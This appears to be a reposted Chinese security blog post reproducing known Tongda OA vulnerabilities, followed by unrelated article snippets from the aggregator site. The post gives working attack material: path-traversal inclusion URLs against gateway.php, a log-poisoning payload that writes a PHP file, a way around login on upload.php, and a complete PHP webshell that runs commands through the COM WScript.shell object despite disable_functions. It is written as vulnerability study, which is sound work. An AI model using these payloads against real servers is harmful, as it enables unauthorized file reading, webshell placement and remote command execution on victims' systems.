通达oa 2013 php解密,通达OA漏洞学习 - 安全先师的个人空间 - OSCHINA - 中文开源技术交流社区...

47e6aab5c74aab532a2ad7f5aaaaf36a.gif

说明

通达OA漏洞在去年上半年已爆出,这不趁着周末没事做,将源码下载下来进行复现学习。

文件包含测试

文件包含检测,payload1:

ip/ispirit/interface/gateway.php?json={"url":"/general/../../mysql5/my.ini"}

利用文件包含访问mysql.ini,检查是否有某些特定字符串 ,比如innodb_log_group_home_dir

6f028d7dabbe5faef07d6a6a23ba1330.png

payload2:

ip/ispirit/interface/gateway.php?json={}&url=/general/../../nginx/logs/oa.access.log

利用文件包含访问OA日志

dac70d4ade98f325ee1ecae143730eb5.png

复现

源码下载

链接:https://pan.baidu.com/s/1HP5pDsAK2QLOWpnB1JX-Yg提取码:vab0

是个exe,安装解压完是php代码。用Sublime打开,都是16进制加密

f3bac2dd2e0c7d11ef1be730d48ddc1b.png

用notepad打开显示,zend加密,

561564c51526362700a5c3ccaab4b39a.png

php在线解密网站:http://dezend.qiling.org/free.html

解密出源代码。

文件上传

ispirit/im/upload.php

要上传首先需要绕过登陆验证,在本系统中auth.php是登陆验证的相关逻辑,但在upload.php未修复前,如果$P非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。

712d9a14d8b79058f954314db2e98bb8.png

经过下载源码测试,上传后的文件在MYOA/attach/im/2003/目录下。因上传后的文件不在根目录,所以无法直接利用,因此需要进行文件包含。

02c23804469cad3f060ea4e9782ab9f4.png

文件包含

6bbf3c07d2185dc0f7735c2e25d1cdae.png

与上传相反,这里不传P参数就可以文件包含。未修复前,可通过精心构造json进入47行的includ_once进行文件包含。官方在补丁中过滤了 ,防止用户读取其他目录文件。

POC

poc有很多,其一,首先构造url并访问,在日志中写入一句话,原理是OA默认会将访问url,agent写日志。

/ispirit/interface/gateway.php?json={}&a=<?php  file_put_contents('1.php','hello123');?>

先在浏览器访问,

71bdd57bd768a86bc53f99f2ca52d354.png

发现"

cbbfcaea8a83cf4701461fc8f575cd69.png

用burp重新发包。

e21786b9dbc6f88594f81268c82ef182.png

成功写入日志。(写日志的方式省去了上传)

36e36828a8cd8481b85ca61c78513bd5.png

文件包含

2c864521c8f6296a13e6470222a955cb.png

如果php poc 为<?php file_put_contents('1.php','hello123');?>

则上传到 存在漏洞文件 gateway.php 同级目录,如果php poc为<?php file_put_contents('../1.php','hello123');?>,则上传到 上一级目录 ispirit 目录下。注意路径。

exp

通过 upload.php 上传一个文件,可自定义后缀名。经过下载源码测试,上传后的文件在MYOA/attach/im/2003/目录下。

思路一:

上传一个写shell的php文件,在利用文件包含写shell。

具体见exp.py。

思路二:

执行cmd,

MYOA/bin/ 目录下的 php.ini 禁用了一些执行,命令的函数。

disable_functions = exec,shell_exec,system,passthru,proc_open,show_source,phpinfodisable_classes =

参考

使用com组件绕过disable_functionshttps://www.cnblogs.com/-qing-/p/10944118.html

eg:

<?php $command=$_GET['a'];$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

这里写的exp总是将post数据自动url编码。达不到burp的效果。

8cce962ef7d813d0340e6d9489734a17.png

a3fc6ca99b71dfd00bdcfa4966c0cb8e.png

需要先设置一次请求头setHeader("Content-Type", "application/x-www-form-urlencoded")再将数据拼接成string格式再进行发送 ,终于写成了exp2.py。

版本路径

不同环境路径不同。

例如2013:/ispirit/im/upload.php/ispirit/interface/gateway.php例如2017:/ispirit/im/upload.php/mac/gateway.php

后记

一些趣事,正常该用post包含的。

e6c5007dde0df47d3dbded2f8ef34f53.png

get包含就很玄学了。正常get请求(不空行)是不行的,在浏览器GET请求也是不能包含的。

ae897ece66356e0eda35b2af289cc59d.png

注意看我光标位置。必须空出来一行,否则不成功。get无请求体,不知道是什么原因。

c4183fa1a10ccb4726b72c3a8dcbe88b.png

空两行试试

b9291746596dbe330c14e0d4711925c0.png

发包,Content-Length都有了,可真牛啊。

9449bd84c682b0d1ee725889fbe7ea12.png

wireshark抓个包,get没请求体呀。见strange-get-include.pcap。

26f7cee8c2013788b9ba4b89e6462716.png

往期精彩

753a11436688cb6241bb6f91c65ba10e.png

感兴趣的可以点个关注!!!

关注「安全先师」

把握前沿安全脉搏

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/542540.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

公众号 -「前端攻略 开光篇」

作为一枚程序员&#xff0c;每件重要项目的开始都忍不住使用"Hello World"。 这个公众号是不是来晚了&#xff1f;如果你有这个疑问&#xff0c;那么我想说&#xff1a;对于写作和思考&#xff0c;任何时候都不晚。我用四个简单的自问自答&#xff0c;来讲讲这个前端…

matlab中求模最大,matlab求取模极大值时出错

本帖最后由 Nate_ 于 2016-4-17 15:57 编辑points1024 时&#xff0c;有波形输出&#xff0c;但信号有5438个点。改为5438就不行。主程序&#xff1a;%小波模极大值重构是采用的交替投影法close all;points5438; level4; sr360; num_inter6; wfdb4;%所处理数据的…

【分享】linux下u盘使用

2019独角兽企业重金招聘Python工程师标准>>> linux下u盘使用 方案一&#xff1a; Linux不像Windows一样&#xff0c;接上新硬件后可以自动识别&#xff0c;在Linux下无法自动识别新硬件的&#xff0c;需要手动去识别。USB移动存储设备通常被识别为sda1&#xff0c;…

swift 3.0 中使用 xib

文章写于2016年9月底&#xff0c;Xcode 8&#xff0c;swift 3.0真是蛋疼&#xff0c;折腾了很长时间&#xff0c;试了网上很多教程&#xff0c;结果又莫名的可以了&#xff01; 1.方法和OC中一样 将一个xib文件和一个ViewController类进行关联的几步操作&#xff1a; command &…

numpy 归一化_NumPy 数据归一化、可视化

仅使用 NumPy&#xff0c;下载数据&#xff0c;归一化&#xff0c;使用 seaborn 展示数据分布。下载数据import numpy as npurl https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.datawid np.genfromtxt(url, delimiter,, dtypefloat, usecols[1])仅提取…

puppeteer api_使用Node.js和puppeteer API从URL创建PDF文件

puppeteer apiWe will continue using Node.js and puppeteer which is a node library. As we saw in our last article, Puppeteer is a Node library developed by Google and provides a high-level API for developers. 我们将继续使用Node.js和puppeteer(这是一个节点库)…

servlet的由来

2019独角兽企业重金招聘Python工程师标准>>> 动静态网页技术 首先说下访问网页的大概过程&#xff1a; 你在浏览器中输入网址&#xff0c;按下enter键&#xff0c;此时浏览器代你做了很多事&#xff0c;简要说为&#xff1a;将你输入的这个网址作为目的地参数&#…

php header 文件大小,php获取远程文件大小及信息的函数(head_php

php获取远程文件大小及信息的函数(header头信息获取)阿里西西Alixixi.com开发团队在做一个客户系统时&#xff0c;需要做远程下载的功能&#xff0c;并实时显示进度条效果。所以&#xff0c;需要预先读取远程文件的大小信息&#xff0c;然后做为实时下载进度条的参数。功能函数…

第四次作业 孙保平034 李路平029

用C编写一个学生成绩管理系统 1、可以实现以下功能&#xff1a; cout<<"〓〓〓〓〓〓〓〓〓★ ☆ 1.增加学生成绩 ☆ ★〓〓〓〓〓〓〓〓〓"<<endl; 2、用链表存储信息 * 程序头部的注释结束 3、约定的规范&#xff1a; 1界面设计简介&#xff0c;人性化…

php serialize error at offset,PHP Notice: unserialize(): Error at offset XX of XX bytes

之前同事在本地开发的时候&#xff0c;出现一个错误&#xff0c;如下图所示&#xff1a;字面意思就是反序列化错误&#xff0c;由此bug引申出来序列化和反序列化得应用&#xff0c;以及php array当key为string类型的数字值时&#xff0c;会发生什么情形。先来看序列化$str [1 …

8086 寻址方式_8086微处理器的不同寻址模式

8086 寻址方式Introduction: 介绍&#xff1a; Addressing mode tells us what is the type of the operand and the way they are accessed from the memory for execution of an instruction and how to fetch particular instruction from the memory. There are mainly 8 …

决策树的value是什么意思_从零开始的机器学习实用指南(六):决策树

类似SVM&#xff0c;决策树也是非常多功能的机器学习算法&#xff0c;可以分类&#xff0c;回归&#xff0c;甚至可以完成多输出的任务&#xff0c;能够拟合复杂的数据集&#xff08;比如第二章的房价预测例子&#xff0c;虽然是过拟合了。&#xff09;决策树也是很多集成学习的…

Hive中生成随机唯一标识ID的方法

2019独角兽企业重金招聘Python工程师标准>>> HIVE中处理的数据往往比较多&#xff0c;在处理数据的时候希望给处理得到的数据一个ID标识&#xff0c;这时候可以用到UUID。 UUID的算法的核心思想是结合机器的网卡、当地时间、一个随即数来生成UUID。从理论上讲&#…

php从网页获得数据,php根据URL获得网页内容

php 中根据url来获得网页内容非常的方便&#xff0c;可以通过系统内置函数file_get_contents(),传入url,即可返回网页的内容&#xff0c;比如获得百度首页的内容代码为&#xff1a;$html file_get_contents(http://www.baidu.com/);echo $html;就可以显示出百度首页的内容&…

如何在Bootstrap中使用Jumbotron和页面标头类?

Introduction 介绍 In the previous article, we have learned how Responsive column, Nesting Columns and offset Columns work and how to use them? I hope now, you all are comfortable with the grid system; what is it, how to use it and how we can use it for c…

getprocaddress得到为0_基于ZU+系列MPSoC芯片的USB3.0/2.0接口硬件设计

本文主要介绍Zynq UltraScale MPSoC系列芯片的USB3.0/2.0接口硬件设计。ZU系列MPSoC要实现USB3.0/2.0的全部功能&#xff0c;需要同时使用MIO和GTR。因为GTR接口中的USB接口只支持USB3.0&#xff0c;对USB2.0的支持需要通过MIO接口外接USB PHY实现。ZU系列MPSoC包括两个USB接口…

python编写学生成绩排序_Python实现按学生年龄排序的实际问题详解

前言 本文主要给大家了关于利用Python按学生年龄排序的相关内容&#xff0c;分享出来供大家参考学习&#xff0c;下面话不多说了&#xff0c;来一起看看详细的介绍&#xff1a; 问题&#xff1a;定义一个Class&#xff1a;包含姓名name、性别gender、年龄age&#xff0c;需要按…

前方危险-让很多“高逼格”高管深刻反思的文章

在很多的时候&#xff0c;现实会让我们每个人迷惑&#xff0c;周边的人和事可以让人极度的膨胀&#xff0c;你可以想吃了迷药一样&#xff0c;分不清是现实还是虚幻。很久以前&#xff0c;在公司的一次会议上&#xff0c;某主管告诉我们说&#xff0c;“他一个同事&#xff0c;…

自定义taglib引入失败_小程序拼团总失败?看看微信官方和开发者们怎么说

阅读时间&#xff1a;6m最懂小程序生态商业的自媒体可怕... 刚过国庆&#xff0c;南方还在短袖短裙&#xff0c;北方竟然都下雪了&#xff01;什么叫一天之内感受四季&#xff1f;晓程序观察(yinghoo-tech)的小伙伴们算是深刻体验了&#xff0c;穿着短袖上飞机&#xff0c;抵达…

Linux之基础I/O

目录 一、C语言中的文件操作 二、系统文件操作I/O 三、文件描述符fd 1、文件描述符的引入 2、对fd的理解 3、文件描述符的分配规则 四、重定向 1、重定向的原理 2、重定向的系统调用dup2 五、Linux下一切皆文件 一、C语言中的文件操作 1、打开和关闭 在C语言的文…